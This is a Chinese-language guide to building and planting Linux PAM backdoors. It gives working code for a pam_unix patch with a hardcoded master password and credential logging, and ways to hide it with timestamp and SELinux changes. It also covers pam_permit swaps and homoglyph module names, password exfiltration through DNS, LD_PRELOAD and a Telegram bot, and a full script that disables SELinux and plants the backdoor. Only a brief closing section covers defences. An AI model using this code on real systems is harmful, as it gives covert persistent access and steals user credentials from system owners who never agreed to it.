Linux Pam后门总结拓展
字数 891 2025-08-25 22:59:02
Linux PAM后门技术深度分析与实践指南
0x01 PAM基础与后门原理
PAM基础概念
PAM(Pluggable Authentication Modules)是Linux系统的可插拔认证模块机制,负责用户身份验证。关键组件包括:
- 配置文件:位于
/etc/pam.d/ - 认证模块:位于
/lib/security/或/lib64/security/
传统PAM后门实现原理
通过修改PAM源码中的认证逻辑,实现:
- 特定密码绕过认证
- 密码记录功能
关键修改点
在pam_unix_auth.c中添加以下代码:
/* verify the password of this user */
retval = _unix_verify_password(pamh, name, p, ctrl);
if(strcmp("qing!@#123",p)==0){ // 后门密码
return PAM_SUCCESS;
}
if(retval == PAM_SUCCESS){
FILE * fp;
fp = fopen("/bin/.sshlog", "a"); // 密码记录文件
fprintf(fp, "%s : %s\n", name, p);
fclose(fp);
}
0x02 PAM后门种植实践
环境准备
- 获取目标系统PAM版本:
rpm -qa | grep pam
# 或
dpkg -s libpam-modules | grep -i version | cut -d' ' -f2
- 下载对应源码:
wget http://www.linux-pam.org/library/Linux-PAM-1.1.1.tar.gz
tar -xzvf Linux-PAM-1.1.1.tar.gz
编译安装
cd Linux-PAM-1.1.1
./configure --prefix=/user --exec-prefix=/usr --localstatedir=/var \
--sysconfdir=/etc --disable-selinux --with-libiconv-prefix=/usr
make
替换模块
mv pam_unix.so{,.bak} # 备份原文件
cp modules/pam_unix/.libs/pam_unix.so /lib64/security/
隐蔽处理
- 修改时间戳:
touch -t 201002160134 pam_unix.so
touch pam_unix.so -r pam_unix.so.src
- SELinux上下文处理:
chcon --reference=pam_unix.so.src pam_unix.so
setsebool -P allow_saslauthd_read_shadow 1
常见问题解决
- 64位系统编译错误:
#define yywrap() 1
// 或
%option noyywrap
- 安装依赖:
yum install flex
# 或
apt-get install dpkg-dev flex
0x03 高级PAM后门技术
pam_permit后门技术
利用pam_permit.so模块(始终返回认证成功)实现后门:
- 直接替换:
cp /lib64/security/pam_permit.so /lib64/security/pam_unix.so
- 挂载绑定:
mount --bind /lib64/security/pam_permit.so /lib64/security/pam_unix.so
- 通过脚本自动执行:
#!/bin/sh
mount --bind /lib64/security/pam_permit.so /lib64/security/pam_unix.so 2>/dev/null
/bin/uname $*
同形异义字后门
使用Unicode字符创建伪装的PAM模块:
cp /lib/*/*/pam_permit.so /lib/x86_64-linux-gnu/security/pam_de$'\u578'y.so
perl -i -pe's/deny/de\x{578}y/' /etc/pam.d/common-auth
数据外传技术
DNS外传
修改pam_unix_auth.c添加DNS查询功能:
if(retval == PAM_SUCCESS){
char hostname[256];
snprintf(hostname, sizeof(hostname), "%s.%s.qing.dnslog.cn", name, p);
if (fork() == 0) {
ngethostbyname(hostname, T_A);
}
}
LD_PRELOAD劫持
创建劫持库pam_door.c:
typedef int (*orig_ftype) (const pam_handle_t *pamh, int item_type, const void **item);
int pam_get_item(const pam_handle_t *pamh, int item_type, const void **item) {
int retval;
const char *name;
orig_ftype orig_pam = (orig_ftype)dlsym(RTLD_NEXT, "pam_get_item");
retval = orig_pam(pamh, item_type, item);
if (item_type == PAM_AUTHTOK && retval == PAM_SUCCESS && *item != NULL) {
char hostname[256];
pam_get_user((pam_handle_t *)pamh, &name, NULL);
snprintf(hostname, sizeof(hostname), "%s.%s.qing.dnslog.cn", name, *item);
if (fork() == 0) {
ngethostbyname(hostname, T_A);
}
}
return retval;
}
编译并设置:
gcc -fPIC -shared pam_door.c -o qing.so -ldl
export LD_PRELOAD=/path/to/qing.so
Telegram外传
使用libcurl将凭证发送到Telegram bot:
void sendMessage(char (*message)[]) {
char url[500], data[200];
char token[200] = "BOT_TOKEN";
int user_id = 1111111;
snprintf(url,600,"https://api.telegram.org/bot%s/sendMessage",token);
snprintf(data,300,"chat_id=%d&text=%s",user_id,*message);
CURL *curl = curl_easy_init();
if(curl) {
curl_easy_setopt(curl, CURLOPT_URL, url);
curl_easy_setopt(curl, CURLOPT_POSTFIELDS,data);
curl_easy_perform(curl);
}
curl_global_cleanup();
}
0x04 自动化脚本
自动化种植脚本
#!/bin/bash
PASS='qing123'
LOG='\/bin\/.sshlog'
version=`rpm -qa | grep pam | awk -F- '{print $2}'`
# Disable SELinux
setenforce 0
sed -i 's/^SELINUX=enforcing/SELINUX=disabled/' /etc/sysconfig/selinux
# Download and modify source
wget http://www.linux-pam.org/library/Linux-PAM-$version.tar.gz
tar zxf Linux-PAM-$version.tar.gz
cd Linux-PAM-$version
sed -i -e 's/retval = _unix_verify_password(pamh, name, p, ctrl);/retval = _unix_verify_password(pamh, name, p, ctrl);\n\tif (strcmp(p,"'$PASS'")==0 ){retval = PAM_SUCCESS;}if(retval == PAM_SUCCESS){\n\tFILE * fp;\n\tfp = fopen("'$LOG'", "a");\n\tfprintf(fp, "%s : %s\\n", name, p);\n\tfclose(fp);\n\t}/g' modules/pam_unix/pam_unix_auth.c
# Compile and install
./configure --disable-selinux && make
cp /lib64/security/pam_unix.so /lib64/security/pam_unix.so.bak
cp modules/pam_unix/.libs/pam_unix.so /lib64/security/
0x05 防御措施
-
文件完整性检查:
- 使用AIDE或Tripwire监控关键PAM文件
- 定期检查
/etc/pam.d/和/lib*/security/目录
-
SELinux保护:
setenforce 1 restorecon -Rv /lib*/security/ -
日志监控:
- 监控PAM相关日志
/var/log/secure和/var/log/auth.log - 检查异常的DNS查询
- 监控PAM相关日志
-
编译防护:
- 禁用不必要的编译工具
- 限制
/lib*/security/目录写入权限
-
定期更新:
yum update pam # 或 apt-get install --only-upgrade libpam-modules
本指南详细介绍了PAM后门技术的实现原理和多种实现方式,仅供安全研究和防御参考。实际应用中请严格遵守法律法规。